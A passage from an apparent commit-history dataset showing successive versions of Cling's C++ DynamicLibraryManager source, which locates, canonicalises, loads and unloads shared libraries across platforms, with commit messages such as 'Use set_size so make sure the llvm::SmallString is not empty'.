dyLibHandle = needs to be implemented!;\n std::string errMsg;\n#else\n const void* dyLibHandle = dlopen(FullPath.c_str(), RTLD_LAZY|RTLD_GLOBAL);\n std::string errMsg;\n if (const char* DyLibError = dlerror()) {\n errMsg = DyLibError;\n }\n#endif\n if (!dyLibHandle) {\n llvm::errs() << \"cling::Interpreter::tryLinker(): \" << errMsg << '\\n';\n return kLoadLibError;\n }\n std::pair<DyLibs::iterator, bool> insRes\n = m_DyLibs.insert(std::pair<DyLibHandle, std::string>(dyLibHandle,\n FullPath.str()));\n if (!insRes.second)\n return kLoadLibExists;\n m_loadedLibraries.insert(FullPath);\n return kLoadLibSuccess;\n }\n\n DynamicLibraryManager::LoadLibResult\n DynamicLibraryManager::loadLibrary(const std::string& filename,\n bool permanent, bool* tryCode) {\n llvm::SmallString<128> Absolute((llvm::StringRef(filename)));\n llvm::sys::fs::make_absolute(Absolute);\n bool isAbsolute = filename == Absolute.c_str();\n bool exists = false;\n bool isDyLib = false;\n LoadLibResult res = tryLinker(filename, permanent, isAbsolute, exists,\n isDyLib);\n if (tryCode) {\n *tryCode = !isDyLib;\n if (isAbsolute)\n *tryCode &= exists;\n }\n if (exists)\n return res;\n\n if (!isAbsolute && filename.compare(0, 3, \"lib\")) {\n \/\/ try with \"lib\" prefix:\n res = tryLinker(\"lib\" + filename, permanent, false, exists, isDyLib);\n if (tryCode) {\n *tryCode = !isDyLib;\n if (isAbsolute)\n *tryCode &= exists;\n }\n if (res != kLoadLibError)\n return res;\n }\n return kLoadLibError;\n }\n\n bool\n DynamicLibraryManager::isDynamicLibraryLoaded(llvm::StringRef fullPath) const {\n \/\/ get canonical path name and check if already loaded\n#ifdef WIN32\n char buf[_MAX_PATH];\n char *res = _fullpath(buf, fullPath.str().c_str(), _MAX_PATH);\n#else\n char buf[PATH_MAX+1];\n char *res = realpath(fullPath.str().c_str(), buf);\n#endif\n if (res == 0) {\n llvm::errs() << \"cling::Interpreter::isDynamicLibraryLoaded(): error getting real (canonical) path\\n\";\n return false;\n }\n if (m_loadedLibraries.find(buf) != m_loadedLibraries.end()) return true;\n return false;\n }\n\n void DynamicLibraryManager::ExposeHiddenSharedLibrarySymbols(void* handle) {\n llvm::sys::DynamicLibrary::addPermanentLibrary(const_cast<void*>(handle));\n }\n} \/\/ end namespace cling\n<commit_msg>Use set_size so make sure the llvm::SmallString is not empty<commit_after>\/\/------------------------------------------------------------------------------\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author: Vassil Vassilev <vasil.georgiev.vasilev@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#include \"cling\/Interpreter\/DynamicLibraryManager.h\"\n#include \"cling\/Interpreter\/InvocationOptions.h\"\n\n#include \"llvm\/Support\/DynamicLibrary.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\n#include <stdlib.h>\n\n#ifdef WIN32\n#include <Windows.h>\n#else\n#include <limits.h> \/* PATH_MAX *\/\n#include <dlfcn.h>\n#endif\n\nnamespace cling {\n DynamicLibraryManager::DynamicLibraryManager(const InvocationOptions& Opts) \n : m_Opts(Opts) { }\n\n DynamicLibraryManager::~DynamicLibraryManager() {}\n\n static bool isSharedLib(llvm::StringRef LibName, bool& exists) {\n using namespace llvm::sys::fs;\n file_magic Magic;\n llvm::error_code Error = identify_magic(LibName, Magic);\n exists = (Error == llvm::errc::success);\n return exists &&\n#ifdef __APPLE__\n (Magic == file_magic::macho_fixed_virtual_memory_shared_lib\n || Magic == file_magic::macho_dynamically_linked_shared_lib\n || Magic == file_magic::macho_dynamically_linked_shared_lib_stub)\n#elif defined(LLVM_ON_UNIX)\n Magic == file_magic::elf_shared_object\n#elif defined(LLVM_ON_WIN32)\n# error \"Windows DLLs not yet implemented!\"\n \/\/Magic == file_magic::pecoff_executable?\n#else\n# error \"Unsupported platform.\"\n#endif\n ;\n }\n\n static void\n findSharedLibrary(llvm::StringRef fileStem,\n const llvm::SmallVectorImpl<std::string>& Paths,\n llvm::SmallString<512>& FoundDyLib,\n bool& exists, bool& isDyLib) {\n for (llvm::SmallVectorImpl<std::string>::const_iterator\n IPath = Paths.begin(), EPath = Paths.end(); IPath != EPath; ++IPath) {\n llvm::SmallString<512> ThisPath(*IPath);\n llvm::sys::path::append(ThisPath, fileStem);\n isDyLib = isSharedLib(ThisPath.str(), exists);\n if (isDyLib)\n ThisPath.swap(FoundDyLib);\n if (exists)\n return;\n }\n }\n\n#if defined(LLVM_ON_UNIX)\n static void GetSystemLibraryPaths(llvm::SmallVectorImpl<std::string>& Paths) {\n char* env_var = getenv(\"LD_LIBRARY_PATH\");\n#if __APPLE__\n if (!env_var)\n env_var = getenv(\"DYLD_LIBRARY_PATH\");\n if (!env_var)\n env_var = getenv(\"DYLD_FALLBACK_LIBRARY_PATH\");\n#endif\n if (env_var != 0) {\n static const char PathSeparator = ':';\n const char* at = env_var;\n const char* delim = strchr(at, PathSeparator);\n while (delim != 0) {\n std::string tmp(at, size_t(delim-at));\n if (llvm::sys::fs::is_directory(tmp.c_str()))\n Paths.push_back(tmp);\n at = delim + 1;\n delim = strchr(at, PathSeparator);\n }\n\n if (*at != 0)\n if (llvm::sys::fs::is_directory(llvm::StringRef(at)))\n Paths.push_back(at);\n }\n\n Paths.push_back(\"\/usr\/local\/lib\/\");\n Paths.push_back(\"\/usr\/X11R6\/lib\/\");\n Paths.push_back(\"\/usr\/lib\/\");\n Paths.push_back(\"\/lib\/\");\n }\n#elif defined(LLVM_ON_WIN32)\n static void GetSystemLibraryPaths(llvm::SmallVectorImpl<std::string>& Paths) {\n char buff[MAX_PATH];\n \/\/ Generic form of C:\\Windows\\System32\n HRESULT res = SHGetFolderPathA(NULL,\n CSIDL_FLAG_CREATE | CSIDL_SYSTEM,\n NULL,\n SHGFP_TYPE_CURRENT,\n buff);\n if (res != S_OK) {\n assert(0 && \"Failed to get system directory\");\n return;\n }\n Paths.push_back(buff);\n\n \/\/ Reset buff.\n buff[0] = 0;\n \/\/ Generic form of C:\\Windows\n res = SHGetFolderPathA(NULL,\n CSIDL_FLAG_CREATE | CSIDL_WINDOWS,\n NULL,\n SHGFP_TYPE_CURRENT,\n buff);\n if (res != S_OK) {\n assert(0 && \"Failed to get windows directory\");\n return;\n }\n Paths.push_back(buff);\n }\n#else\n# error \"Unsupported platform.\"\n#endif\n\n DynamicLibraryManager::LoadLibResult\n DynamicLibraryManager::tryLinker(const std::string& filename, bool permanent,\n bool isAbsolute, bool& exists,\n bool& isDyLib) {\n using namespace llvm::sys;\n exists = false;\n isDyLib = false;\n\n llvm::SmallString<512> FoundDyLib;\n\n if (isAbsolute) {\n isDyLib = isSharedLib(filename, exists);\n if (isDyLib)\n FoundDyLib = filename;\n } else {\n llvm::SmallVector<std::string, 16>\n SearchPaths(m_Opts.LibSearchPath.begin(), m_Opts.LibSearchPath.end());\n GetSystemLibraryPaths(SearchPaths);\n\n findSharedLibrary(filename, SearchPaths, FoundDyLib, exists, isDyLib);\n\n if (!exists) {\n \/\/ Add DyLib extension:\n llvm::SmallString<512> filenameWithExt(filename);\n#if defined(LLVM_ON_UNIX)\n#ifdef __APPLE__\n llvm::SmallString<512>::iterator IStemEnd = filenameWithExt.end() - 1;\n#endif\n static const char* DyLibExt = \".so\";\n#elif defined(LLVM_ON_WIN32)\n static const char* DyLibExt = \".dll\";\n#else\n# error \"Unsupported platform.\"\n#endif\n filenameWithExt += DyLibExt;\n findSharedLibrary(filenameWithExt, SearchPaths, FoundDyLib, exists,\n isDyLib);\n#ifdef __APPLE__\n if (!exists) {\n filenameWithExt.erase(IStemEnd + 1, filenameWithExt.end());\n filenameWithExt += \".dylib\";\n findSharedLibrary(filenameWithExt, SearchPaths, FoundDyLib, exists,\n isDyLib);\n }\n#endif\n }\n }\n\n if (!isDyLib)\n return kLoadLibError;\n \n assert(!FoundDyLib.empty() && \"The shared lib exists but can't find it!\");\n\n \/\/ get canonical path name and check if already loaded\n#ifdef WIN32\n llvm::SmallString<_MAX_PATH> FullPath;\n FullPath.set_size(_MAX_PATH);\n char *res = _fullpath((char *)FullPath.data(), FoundDyLib.c_str(), _MAX_PATH);\n#else\n llvm::SmallString<PATH_MAX+1> FullPath;\n FullPath.set_size(PATH_MAX+1);\n char *res = realpath(FoundDyLib.c_str(), (char *)FullPath.data());\n#endif\n if (res == 0) {\n llvm::errs() << \"cling::Interpreter::tryLinker(): error getting real (canonical) path\\n\";\n return kLoadLibError;\n }\n FullPath.set_size(strlen(res));\n if (m_loadedLibraries.find(FullPath) != m_loadedLibraries.end())\n return kLoadLibExists;\n\n \/\/ TODO: !permanent case\n#ifdef WIN32\n# error \"Windows DLL opening still needs to be implemented!\"\n void* dyLibHandle = needs to be implemented!;\n std::string errMsg;\n#else\n const void* dyLibHandle = dlopen(FullPath.c_str(), RTLD_LAZY|RTLD_GLOBAL);\n std::string errMsg;\n if (const char* DyLibError = dlerror()) {\n errMsg = DyLibError;\n }\n#endif\n if (!dyLibHandle) {\n llvm::errs() << \"cling::Interpreter::tryLinker(): \" << errMsg << '\\n';\n return kLoadLibError;\n }\n std::pair<DyLibs::iterator, bool> insRes\n = m_DyLibs.insert(std::pair<DyLibHandle, std::string>(dyLibHandle,\n FullPath.str()));\n if (!insRes.second)\n return kLoadLibExists;\n m_loadedLibraries.insert(FullPath);\n return kLoadLibSuccess;\n }\n\n DynamicLibraryManager::LoadLibResult\n DynamicLibraryManager::loadLibrary(const std::string& filename,\n bool permanent, bool* tryCode) {\n llvm::SmallString<128> Absolute((llvm::StringRef(filename)));\n llvm::sys::fs::make_absolute(Absolute);\n bool isAbsolute = filename == Absolute.c_str();\n bool exists = false;\n bool isDyLib = false;\n LoadLibResult res = tryLinker(filename, permanent, isAbsolute, exists,\n isDyLib);\n if (tryCode) {\n *tryCode = !isDyLib;\n if (isAbsolute)\n *tryCode &= exists;\n }\n if (exists)\n return res;\n\n if (!isAbsolute && filename.compare(0, 3, \"lib\")) {\n \/\/ try with \"lib\" prefix:\n res = tryLinker(\"lib\" + filename, permanent, false, exists, isDyLib);\n if (tryCode) {\n *tryCode = !isDyLib;\n if (isAbsolute)\n *tryCode &= exists;\n }\n if (res != kLoadLibError)\n return res;\n }\n return kLoadLibError;\n }\n\n bool\n DynamicLibraryManager::isDynamicLibraryLoaded(llvm::StringRef fullPath) const {\n \/\/ get canonical path name and check if already loaded\n#ifdef WIN32\n char buf[_MAX_PATH];\n char *res = _fullpath(buf, fullPath.str().c_str(), _MAX_PATH);\n#else\n char buf[PATH_MAX+1];\n char *res = realpath(fullPath.str().c_str(), buf);\n#endif\n if (res == 0) {\n llvm::errs() << \"cling::Interpreter::isDynamicLibraryLoaded(): error getting real (canonical) path\\n\";\n return false;\n }\n if (m_loadedLibraries.find(buf) != m_loadedLibraries.end()) return true;\n return false;\n }\n\n void DynamicLibraryManager::ExposeHiddenSharedLibrarySymbols(void* handle) {\n llvm::sys::DynamicLibrary::addPermanentLibrary(const_cast<void*>(handle));\n }\n} \/\/ end namespace cling\n<|endoftext|>"} {"text":"<commit_before>\/\/------------------------------------------------------------------------------\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author: Vassil Vassilev <vasil.georgiev.vasilev@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#include \"cling\/Interpreter\/DynamicLibraryManager.h\"\n#include \"cling\/Interpreter\/InterpreterCallbacks.h\"\n#include \"cling\/Interpreter\/InvocationOptions.h\"\n\n#include \"llvm\/Support\/DynamicLibrary.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\n#include <algorithm>\n#include <iostream>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/stat.h>\n\n#ifdef WIN32\n#include <Windows.h>\n#include <shlobj.h>\n#else\n#include <limits.h> \/* PATH_MAX *\/\n#include <dlfcn.h>\n#endif\n\nnamespace {\n#if defined(LLVM_ON_UNIX)\n static void GetSystemLibraryPaths(llvm::SmallVectorImpl<std::string>& Paths) {\n char* env_var = getenv(\"LD_LIBRARY_PATH\");\n#if __APPLE__\n if (!env_var)\n env_var = getenv(\"DYLD_LIBRARY_PATH\");\n if (!env_var)\n env_var = getenv(\"DYLD_FALLBACK_LIBRARY_PATH\");\n#endif\n if (env_var != 0) {\n static const char PathSeparator = ':';\n const char* at = env_var;\n const char* delim = strchr(at, PathSeparator);\n while (delim != 0) {\n std::string tmp(at, size_t(delim-at));\n if (llvm::sys::fs::is_directory(tmp.c_str()))\n Paths.push_back(tmp);\n at = delim + 1;\n delim = strchr(at, PathSeparator);\n }\n\n if (*at != 0)\n if (llvm::sys::fs::is_directory(llvm::StringRef(at)))\n Paths.push_back(at);\n }\n#if defined(__APPLE__) || defined(__CYGWIN__)\n Paths.push_back(\"\/usr\/local\/lib\/\");\n Paths.push_back(\"\/usr\/X11R6\/lib\/\");\n Paths.push_back(\"\/usr\/lib\/\");\n Paths.push_back(\"\/lib\/\");\n\n Paths.push_back(\"\/lib\/x86_64-linux-gnu\/\");\n Paths.push_back(\"\/usr\/local\/lib64\/\");\n Paths.push_back(\"\/usr\/lib64\/\");\n Paths.push_back(\"\/lib64\/\");\n#else\n static bool initialized = false;\n static std::vector<std::string> SysPaths;\n if (!initialized) {\n \/\/ trick to get the system search path\n std::string cmd(\"LD_DEBUG=libs LD_PRELOAD=DOESNOTEXIST ls 2>&1\");\n FILE *pf = popen(cmd.c_str (), \"r\");\n std::string result = \"\";\n std::string sys_path = \"\";\n char buffer[128];\n while (!feof(pf)) {\n if (fgets(buffer, 128, pf) != NULL)\n result += buffer;\n }\n pclose(pf);\n std::size_t from\n = result.find(\"search path=\", result.find(\"(LD_LIBRARY_PATH)\"));\n std::size_t to = result.find(\"(system search path)\");\n if (from != std::string::npos && to != std::string::npos) {\n from += 12;\n sys_path = result.substr(from, to-from);\n sys_path.erase(std::remove_if(sys_path.begin(), sys_path.end(), isspace),\n sys_path.end());\n sys_path += ':';\n }\n static const char PathSeparator = ':';\n const char* at = sys_path.c_str();\n const char* delim = strchr(at, PathSeparator);\n while (delim != 0) {\n std::string tmp(at, size_t(delim-at));\n if (llvm::sys::fs::is_directory(tmp.c_str()))\n SysPaths.push_back(tmp);\n at = delim + 1;\n delim = strchr(at, PathSeparator);\n }\n initialized = true;\n }\n\n for (std::vector<std::string>::const_iterator I = SysPaths.begin(),\n E = SysPaths.end(); I != E; ++I)\n Paths.push_back((*I).c_str());\n#endif\n }\n#elif defined(LLVM_ON_WIN32)\n static void GetSystemLibraryPaths(llvm::SmallVectorImpl<std::string>& Paths) {\n char buff[MAX_PATH];\n \/\/ Generic form of C:\\Windows\\System32\n HRESULT res = SHGetFolderPathA(NULL,\n CSIDL_FLAG_CREATE | CSIDL_SYSTEM,\n NULL,\n SHGFP_TYPE_CURRENT,\n buff);\n if (res != S_OK) {\n assert(0 && \"Failed to get system directory\");\n return;\n }\n Paths.push_back(buff);\n\n \/\/ Reset buff.\n buff[0] = 0;\n \/\/ Generic form of C:\\Windows\n res = SHGetFolderPathA(NULL,\n CSIDL_FLAG_CREATE | CSIDL_WINDOWS,\n NULL,\n SHGFP_TYPE_CURRENT,\n buff);\n if (res != S_OK) {\n assert(0 && \"Failed to get windows directory\");\n return;\n }\n Paths.push_back(buff);\n }\n#else\n# error \"Unsupported platform.\"\n#endif\n\n}\n\nnamespace cling {\n DynamicLibraryManager::DynamicLibraryManager(const InvocationOptions& Opts)\n : m_Opts(Opts), m_Callbacks(0) {\n GetSystemLibraryPaths(m_SystemSearchPaths);\n m_SystemSearchPaths.push_back(\".\");\n }\n\n DynamicLibraryManager::~DynamicLibraryManager() {}\n\n static bool isSharedLib(llvm::StringRef LibName, bool* exists = 0) {\n using namespace llvm::sys::fs;\n file_magic Magic;\n llvm::error_code Error = identify_magic(LibName, Magic);\n bool onDisk = (Error == llvm::errc::success);\n if (exists)\n *exists = onDisk;\n\n return onDisk &&\n#ifdef __APPLE__\n (Magic == file_magic::macho_fixed_virtual_memory_shared_lib\n || Magic == file_magic::macho_dynamically_linked_shared_lib\n || Magic == file_magic::macho_dynamically_linked_shared_lib_stub)\n#elif defined(LLVM_ON_UNIX)\n#ifdef __CYGWIN__\n (Magic == file_magic::pecoff_executable)\n#else\n (Magic == file_magic::elf_shared_object)\n#endif\n#elif defined(LLVM_ON_WIN32)\n (Magic == file_magic::pecoff_executable)\n#else\n# error \"Unsupported platform.\"\n#endif\n ;\n }\n\n std::string\n DynamicLibraryManager::lookupLibInPaths(llvm::StringRef libStem) const {\n llvm::SmallVector<std::string, 128>\n Paths(m_Opts.LibSearchPath.begin(), m_Opts.LibSearchPath.end());\n Paths.append(m_SystemSearchPaths.begin(), m_SystemSearchPaths.end());\n\n for (llvm::SmallVectorImpl<std::string>::const_iterator\n IPath = Paths.begin(), E = Paths.end();IPath != E; ++IPath) {\n llvm::SmallString<512> ThisPath(*IPath); \/\/ FIXME: move alloc outside loop\n llvm::sys::path::append(ThisPath, libStem);\n bool exists;\n if (isSharedLib(ThisPath.str(), &exists))\n return ThisPath.str();\n if (exists)\n return \"\";\n }\n return \"\";\n }\n\n std::string\n DynamicLibraryManager::lookupLibMaybeAddExt(llvm::StringRef libStem) const {\n using namespace llvm::sys;\n\n std::string foundDyLib = lookupLibInPaths(libStem);\n\n if (foundDyLib.empty()) {\n \/\/ Add DyLib extension:\n llvm::SmallString<512> filenameWithExt(libStem);\n#if defined(LLVM_ON_UNIX)\n#ifdef __APPLE__\n llvm::SmallString<512>::iterator IStemEnd = filenameWithExt.end() - 1;\n#endif\n static const char* DyLibExt = \".so\";\n#elif defined(LLVM_ON_WIN32)\n static const char* DyLibExt = \".dll\";\n#else\n# error \"Unsupported platform.\"\n#endif\n filenameWithExt += DyLibExt;\n foundDyLib = lookupLibInPaths(filenameWithExt);\n#ifdef __APPLE__\n if (foundDyLib.empty()) {\n filenameWithExt.erase(IStemEnd + 1, filenameWithExt.end());\n filenameWithExt += \".dylib\";\n foundDyLib = lookupLibInPaths(filenameWithExt);\n }\n#endif\n }\n\n if (foundDyLib.empty())\n return \"\";\n\n \/\/ get canonical path name and check if already loaded\n#if defined(LLVM_ON_WIN32)\n llvm::SmallString<_MAX_PATH> FullPath(\"\");\n char *res = _fullpath((char *)FullPath.data(), foundDyLib.c_str(), _MAX_PATH);\n#else\n llvm::SmallString<PATH_MAX+1> FullPath(\"\");\n char *res = realpath(foundDyLib.c_str(), (char *)FullPath.data());\n#endif\n if (res == 0) {\n llvm::errs() << \"cling::DyLibMan::lookupLibMaybeAddExt(): error getting \"\n \"real (canonical) path of library \" << foundDyLib << '\\n';\n return foundDyLib;\n }\n FullPath.set_size(strlen(res));\n return FullPath.str();\n }\n\n std::string DynamicLibraryManager::normalizePath(llvm::StringRef path) {\n \/\/ Make the path canonical if the file exists.\n struct stat buffer;\n if (stat(path.data(), &buffer) != 0)\n return \"\";\n#if defined(LLVM_ON_WIN32)\n char buf[_MAX_PATH];\n char *res = _fullpath(buf, path.data(), _MAX_PATH);\n#else\n char buf[PATH_MAX+1];\n char *res = realpath(path.data(), buf);\n#endif\n if (res == 0) {\n assert(0 && \"Cannot normalize!?\");\n return \"\";\n }\n return res;\n }\n\n std::string\n DynamicLibraryManager::lookupLibrary(llvm::StringRef libStem) const {\n llvm::SmallString<128> Absolute(libStem);\n llvm::sys::fs::make_absolute(Absolute);\n bool isAbsolute = libStem == Absolute;\n\n \/\/ If it is an absolute path, don't try iterate over the paths.\n if (isAbsolute) {\n if (isSharedLib(libStem))\n return normalizePath(libStem);\n else\n return \"\";\n }\n\n std::string foundName = lookupLibMaybeAddExt(libStem);\n if (foundName.empty() && !libStem.startswith(\"lib\")) {\n \/\/ try with \"lib\" prefix:\n foundName = lookupLibMaybeAddExt(\"lib\" + libStem.str());\n }\n\n if (isSharedLib(foundName))\n return normalizePath(foundName);\n return \"\";\n }\n\n DynamicLibraryManager::LoadLibResult\n DynamicLibraryManager::loadLibrary(const std::string& libStem,\n bool permanent) {\n std::string canonicalLoadedLib = lookupLibrary(libStem);\n if (canonicalLoadedLib.empty())\n return kLoadLibNotFound;\n\n if (m_LoadedLibraries.find(canonicalLoadedLib) != m_LoadedLibraries.end())\n return kLoadLibAlreadyLoaded;\n\n std::string errMsg;\n \/\/ TODO: !permanent case\n#if defined(LLVM_ON_WIN32)\n HMODULE dyLibHandle = LoadLibraryEx(canonicalLoadedLib.c_str(), NULL,\n DONT_RESOLVE_DLL_REFERENCES);\n errMsg = \"LoadLibraryEx: GetLastError() returned \";\n errMsg += GetLastError();\n#else\n const void* dyLibHandle = dlopen(canonicalLoadedLib.c_str(),\n RTLD_LAZY|RTLD_GLOBAL);\n if (const char* DyLibError = dlerror()) {\n errMsg = DyLibError;\n }\n#endif\n if (!dyLibHandle) {\n llvm::errs() << \"cling::DyLibMan::loadLibrary(): \" << errMsg << '\\n';\n return kLoadLibLoadError;\n }\n else if (InterpreterCallbacks* C = getCallbacks())\n C->LibraryLoaded(dyLibHandle, canonicalLoadedLib);\n\n std::pair<DyLibs::iterator, bool> insRes\n = m_DyLibs.insert(std::pair<DyLibHandle, std::string>(dyLibHandle,\n canonicalLoadedLib));\n if (!insRes.second)\n return kLoadLibAlreadyLoaded;\n m_LoadedLibraries.insert(canonicalLoadedLib);\n return kLoadLibSuccess;\n }\n\n void DynamicLibraryManager::unloadLibrary(llvm::StringRef libStem) {\n std::string canonicalLoadedLib = lookupLibrary(libStem);\n if (!isLibraryLoaded(canonicalLoadedLib))\n return;\n\n DyLibHandle dyLibHandle = 0;\n for (DyLibs::const_iterator I = m_DyLibs.begin(), E = m_DyLibs.end();\n I != E; ++I) {\n if (I->second == canonicalLoadedLib)\n dyLibHandle = I->first;\n }\n\n std::string errMsg;\n \/\/ TODO: !permanent case\n#if defined(LLVM_ON_WIN32)\n FreeLibrary((HMODULE)dyLibHandle);\n errMsg = \"UnoadLibraryEx: GetLastError() returned \";\n errMsg += GetLastError();\n#else\n dlclose(const_cast<void*>(dyLibHandle));\n if (const char* DyLibError = dlerror()) {\n errMsg = DyLibError;\n }\n#endif\n if (InterpreterCallbacks* C = getCallbacks())\n C->LibraryUnloaded(dyLibHandle, canonicalLoadedLib);\n\n m_DyLibs.erase(dyLibHandle);\n m_LoadedLibraries.erase(canonicalLoadedLib);\n }\n\n bool DynamicLibraryManager::isLibraryLoaded(llvm::StringRef fullPath) const {\n std::string canonPath = normalizePath(fullPath);\n if (m_LoadedLibraries.find(canonPath) != m_LoadedLibraries.end())\n return true;\n return false;\n }\n\n void DynamicLibraryManager::ExposeHiddenSharedLibrarySymbols(void* handle) {\n llvm::sys::DynamicLibrary::addPermanentLibrary(const_cast<void*>(handle));\n }\n} \/\/ end namespace cling\n<commit_msg>Use actual class name to make it easier to find the source of errors.<commit_after>\/\/------------------------------------------------------------------------------\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author: Vassil Vassilev <vasil.georgiev.vasilev@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#include \"cling\/Interpreter\/DynamicLibraryManager.h\"\n#include \"cling\/Interpreter\/InterpreterCallbacks.h\"\n#include \"cling\/Interpreter\/InvocationOptions.h\"\n\n#include \"llvm\/Support\/DynamicLibrary.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\n#include <algorithm>\n#include <iostream>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/stat.h>\n\n#ifdef WIN32\n#include <Windows.h>\n#include <shlobj.h>\n#else\n#include <limits.h> \/* PATH_MAX *\/\n#include <dlfcn.h>\n#endif\n\nnamespace {\n#if defined(LLVM_ON_UNIX)\n static void GetSystemLibraryPaths(llvm::SmallVectorImpl<std::string>& Paths) {\n char* env_var = getenv(\"LD_LIBRARY_PATH\");\n#if __APPLE__\n if (!env_var)\n env_var = getenv(\"DYLD_LIBRARY_PATH\");\n if (!env_var)\n env_var = getenv(\"DYLD_FALLBACK_LIBRARY_PATH\");\n#endif\n if (env_var != 0) {\n static const char PathSeparator = ':';\n const char* at = env_var;\n const char* delim = strchr(at, PathSeparator);\n while (delim != 0) {\n std::string tmp(at, size_t(delim-at));\n if (llvm::sys::fs::is_directory(tmp.c_str()))\n Paths.push_back(tmp);\n at = delim + 1;\n delim = strchr(at, PathSeparator);\n }\n\n if (*at != 0)\n if (llvm::sys::fs::is_directory(llvm::StringRef(at)))\n Paths.push_back(at);\n }\n#if defined(__APPLE__) || defined(__CYGWIN__)\n Paths.push_back(\"\/usr\/local\/lib\/\");\n Paths.push_back(\"\/usr\/X11R6\/lib\/\");\n Paths.push_back(\"\/usr\/lib\/\");\n Paths.push_back(\"\/lib\/\");\n\n Paths.push_back(\"\/lib\/x86_64-linux-gnu\/\");\n Paths.push_back(\"\/usr\/local\/lib64\/\");\n Paths.push_back(\"\/usr\/lib64\/\");\n Paths.push_back(\"\/lib64\/\");\n#else\n static bool initialized = false;\n static std::vector<std::string> SysPaths;\n if (!initialized) {\n \/\/ trick to get the system search path\n std::string cmd(\"LD_DEBUG=libs LD_PRELOAD=DOESNOTEXIST ls 2>&1\");\n FILE *pf = popen(cmd.c_str (), \"r\");\n std::string result = \"\";\n std::string sys_path = \"\";\n char buffer[128];\n while (!feof(pf)) {\n if (fgets(buffer, 128, pf) != NULL)\n result += buffer;\n }\n pclose(pf);\n std::size_t from\n = result.find(\"search path=\", result.find(\"(LD_LIBRARY_PATH)\"));\n std::size_t to = result.find(\"(system search path)\");\n if (from != std::string::npos && to != std::string::npos) {\n from += 12;\n sys_path = result.substr(from, to-from);\n sys_path.erase(std::remove_if(sys_path.begin(), sys_path.end(), isspace),\n sys_path.end());\n sys_path += ':';\n }\n static const char PathSeparator = ':';\n const char* at = sys_path.c_str();\n const char* delim = strchr(at, PathSeparator);\n while (delim != 0) {\n std::string tmp(at, size_t(delim-at));\n if (llvm::sys::fs::is_directory(tmp.c_str()))\n SysPaths.push_back(tmp);\n at = delim + 1;\n delim = strchr(at, PathSeparator);\n }\n initialized = true;\n }\n\n for (std::vector<std::string>::const_iterator I = SysPaths.begin(),\n E = SysPaths.end(); I != E; ++I)\n Paths.push_back((*I).c_str());\n#endif\n }\n#elif defined(LLVM_ON_WIN32)\n static void GetSystemLibraryPaths(llvm::SmallVectorImpl<std::string>& Paths) {\n char buff[MAX_PATH];\n \/\/ Generic form of C:\\Windows\\System32\n HRESULT res = SHGetFolderPathA(NULL,\n CSIDL_FLAG_CREATE | CSIDL_SYSTEM,\n NULL,\n SHGFP_TYPE_CURRENT,\n buff);\n if (res != S_OK) {\n assert(0 && \"Failed to get system directory\");\n return;\n }\n Paths.push_back(buff);\n\n \/\/ Reset buff.\n buff[0] = 0;\n \/\/ Generic form of C:\\Windows\n res = SHGetFolderPathA(NULL,\n CSIDL_FLAG_CREATE | CSIDL_WINDOWS,\n NULL,\n SHGFP_TYPE_CURRENT,\n buff);\n if (res != S_OK) {\n assert(0 && \"Failed to get windows directory\");\n return;\n }\n Paths.push_back(buff);\n }\n#else\n# error \"Unsupported platform.\"\n#endif\n\n}\n\nnamespace cling {\n DynamicLibraryManager::DynamicLibraryManager(const InvocationOptions& Opts)\n : m_Opts(Opts), m_Callbacks(0) {\n GetSystemLibraryPaths(m_SystemSearchPaths);\n m_SystemSearchPaths.push_back(\".\");\n }\n\n DynamicLibraryManager::~DynamicLibraryManager() {}\n\n static bool isSharedLib(llvm::StringRef LibName, bool* exists = 0) {\n using namespace llvm::sys::fs;\n file_magic Magic;\n llvm::error_code Error = identify_magic(LibName, Magic);\n bool onDisk = (Error == llvm::errc::success);\n if (exists)\n *exists = onDisk;\n\n return onDisk &&\n#ifdef __APPLE__\n (Magic == file_magic::macho_fixed_virtual_memory_shared_lib\n || Magic == file_magic::macho_dynamically_linked_shared_lib\n || Magic == file_magic::macho_dynamically_linked_shared_lib_stub)\n#elif defined(LLVM_ON_UNIX)\n#ifdef __CYGWIN__\n (Magic == file_magic::pecoff_executable)\n#else\n (Magic == file_magic::elf_shared_object)\n#endif\n#elif defined(LLVM_ON_WIN32)\n (Magic == file_magic::pecoff_executable)\n#else\n# error \"Unsupported platform.\"\n#endif\n ;\n }\n\n std::string\n DynamicLibraryManager::lookupLibInPaths(llvm::StringRef libStem) const {\n llvm::SmallVector<std::string, 128>\n Paths(m_Opts.LibSearchPath.begin(), m_Opts.LibSearchPath.end());\n Paths.append(m_SystemSearchPaths.begin(), m_SystemSearchPaths.end());\n\n for (llvm::SmallVectorImpl<std::string>::const_iterator\n IPath = Paths.begin(), E = Paths.end();IPath != E; ++IPath) {\n llvm::SmallString<512> ThisPath(*IPath); \/\/ FIXME: move alloc outside loop\n llvm::sys::path::append(ThisPath, libStem);\n bool exists;\n if (isSharedLib(ThisPath.str(), &exists))\n return ThisPath.str();\n if (exists)\n return \"\";\n }\n return \"\";\n }\n\n std::string\n DynamicLibraryManager::lookupLibMaybeAddExt(llvm::StringRef libStem) const {\n using namespace llvm::sys;\n\n std::string foundDyLib = lookupLibInPaths(libStem);\n\n if (foundDyLib.empty()) {\n \/\/ Add DyLib extension:\n llvm::SmallString<512> filenameWithExt(libStem);\n#if 